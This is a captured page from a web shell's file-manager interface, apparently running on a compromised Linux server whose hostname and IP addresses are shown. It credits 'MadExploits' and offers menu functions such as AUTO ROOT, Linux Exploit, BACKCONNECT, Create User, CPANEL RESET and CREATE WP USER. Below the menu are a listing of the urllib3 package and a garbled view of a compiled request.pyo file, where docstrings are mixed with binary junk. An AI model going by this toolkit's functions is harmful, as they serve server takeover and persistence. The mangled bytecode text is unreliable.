Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 3.137.200.45
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
site-packages /
urllib3 /
[ HOME SHELL ]
Name
Size
Permission
Action
contrib
[ DIR ]
drwxr-xr-x
packages
[ DIR ]
drwxr-xr-x
util
[ DIR ]
drwxr-xr-x
__init__.py
1.82
KB
-rw-r--r--
__init__.pyc
2.53
KB
-rw-r--r--
__init__.pyo
2.53
KB
-rw-r--r--
_collections.py
10.27
KB
-rw-r--r--
_collections.pyc
12.04
KB
-rw-r--r--
_collections.pyo
12.04
KB
-rw-r--r--
connection.py
8.76
KB
-rw-r--r--
connection.pyc
7.8
KB
-rw-r--r--
connection.pyo
7.8
KB
-rw-r--r--
connectionpool.py
29.7
KB
-rw-r--r--
connectionpool.pyc
23.78
KB
-rw-r--r--
connectionpool.pyo
23.78
KB
-rw-r--r--
exceptions.py
4.01
KB
-rw-r--r--
exceptions.pyc
7.93
KB
-rw-r--r--
exceptions.pyo
7.93
KB
-rw-r--r--
fields.py
5.7
KB
-rw-r--r--
fields.pyc
6.4
KB
-rw-r--r--
fields.pyo
6.4
KB
-rw-r--r--
filepost.py
2.23
KB
-rw-r--r--
filepost.pyc
3.1
KB
-rw-r--r--
filepost.pyo
3.1
KB
-rw-r--r--
poolmanager.py
13.2
KB
-rw-r--r--
poolmanager.pyc
12.32
KB
-rw-r--r--
poolmanager.pyo
12.2
KB
-rw-r--r--
request.py
5.62
KB
-rw-r--r--
request.pyc
5.77
KB
-rw-r--r--
request.pyo
5.77
KB
-rw-r--r--
response.py
11.95
KB
-rw-r--r--
response.pyc
11.74
KB
-rw-r--r--
response.pyo
11.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : request.pyo
� � �Tc @ sk y d d l m Z Wn! e k r7 d d l m Z n Xd d l m Z d g Z d e f d � � YZ d S( i����( t urlencodei ( t encode_multipart_formdatat RequestMethodsc B sw e Z d Z e d d d d g � Z d d � Z d d e d d � Z d d d � Z d d � Z d d e d d � Z RS( s� Convenience mixin for classes who implement a :meth:`urlopen` method, such as :class:`~urllib3.connectionpool.HTTPConnectionPool` and :class:`~urllib3.poolmanager.PoolManager`. Provides behavior for making common types of HTTP request methods and decides which type of request field encoding to use. Specifically, :meth:`.request_encode_url` is for sending requests whose fields are encoded in the URL (such as GET, HEAD, DELETE). :meth:`.request_encode_body` is for sending requests whose fields are encoded in the *body* of the request using multipart or www-form-urlencoded (such as for POST, PUT, PATCH). :meth:`.request` is for making any kind of request, it will look up the appropriate encoding format and use one of the above two methods to make the request. Initializer parameters: :param headers: Headers to include with all requests, unless other headers are given explicitly. t DELETEt GETt HEADt OPTIONSc C s | p i | _ d S( N( t headers( t selfR ( ( s3 /usr/lib/python2.7/site-packages/urllib3/request.pyt __init__+ s c K s t d � � d S( NsM Classes extending RequestMethods must implement their own ``urlopen`` method.( t NotImplemented( R t methodt urlt bodyR t encode_multipartt multipart_boundaryt kw( ( s3 /usr/lib/python2.7/site-packages/urllib3/request.pyt urlopen. s c K s] | j � } | | j k r: | j | | d | d | | �S| j | | d | d | | �Sd S( s� Make a request using :meth:`urlopen` with the appropriate encoding of ``fields`` based on the ``method`` used. This is a convenience method that requires the least amount of manual effort. It can be used in most situations, while still having the option to drop down to more specific methods when necessary, such as :meth:`request_encode_url`, :meth:`request_encode_body`, or even the lowest level :meth:`urlopen`. t fieldsR N( t uppert _encode_url_methodst request_encode_urlt request_encode_body( R R R R R t urlopen_kw( ( s3 /usr/lib/python2.7/site-packages/urllib3/request.pyt request4 s c K s0 | r | d t | � 7} n | j | | | � S( s� Make a request using :meth:`urlopen` with the ``fields`` encoded in the url. This is useful for request methods like GET, HEAD, DELETE, etc. t ?( R R ( R R R R R ( ( s3 /usr/lib/python2.7/site-packages/urllib3/request.pyR J s c K s� | d k r | j } n i i d 6} | r� d | k rF t d � � n | rg t | d | �\ } } n t | � d } } | | d <i | d 6| d <n | d j | � | j | � | j | | | � S( s� Make a request using :meth:`urlopen` with the ``fields`` encoded in the body. This is useful for request methods like POST, PUT, PATCH, etc. When ``encode_multipart=True`` (default), then :meth:`urllib3.filepost.encode_multipart_formdata` is used to encode the payload with the appropriate content type. Otherwise :meth:`urllib.urlencode` is used with the 'application/x-www-form-urlencoded' content type. Multipart encoding must be used when posting files, and it's reasonably safe to use it in other times too. However, it may break request signing, such as with OAuth. Supports an optional ``fields`` parameter of key/value strings AND key/filetuple. A filetuple is a (filename, data, MIME type) tuple where the MIME type is optional. For example:: fields = { 'foo': 'bar', 'fakefile': ('foofile.txt', 'contents of foofile'), 'realfile': ('barfile.txt', open('realfile').read()), 'typedfile': ('bazfile.bin', open('bazfile').read(), 'image/jpeg'), 'nonamefile': 'contents of nonamefile field', } When uploading a file, providing a filename (the first parameter of the tuple) is optional but recommended to best mimick behavior of browsers. Note that if ``headers`` are supplied, the 'Content-Type' header will be overwritten because it depends on the dynamic random boundary string which is used to compose the body of the request. The random boundary string can be explicitly set with the ``multipart_boundary`` parameter. R R sF request got values for both 'fields' and 'body', can only specify one.t boundarys! application/x-www-form-urlencodeds Content-TypeN( t NoneR t TypeErrorR R t updateR ( R R R R R R R R t extra_kwR t content_type( ( s3 /usr/lib/python2.7/site-packages/urllib3/request.pyR S s & N( t __name__t __module__t __doc__t setR R R t TrueR R R R ( ( ( s3 /usr/lib/python2.7/site-packages/urllib3/request.pyR s N( t urllib.parseR t ImportErrort urllibt filepostR t __all__t objectR ( ( ( s3 /usr/lib/python2.7/site-packages/urllib3/request.pyt <module> s
Close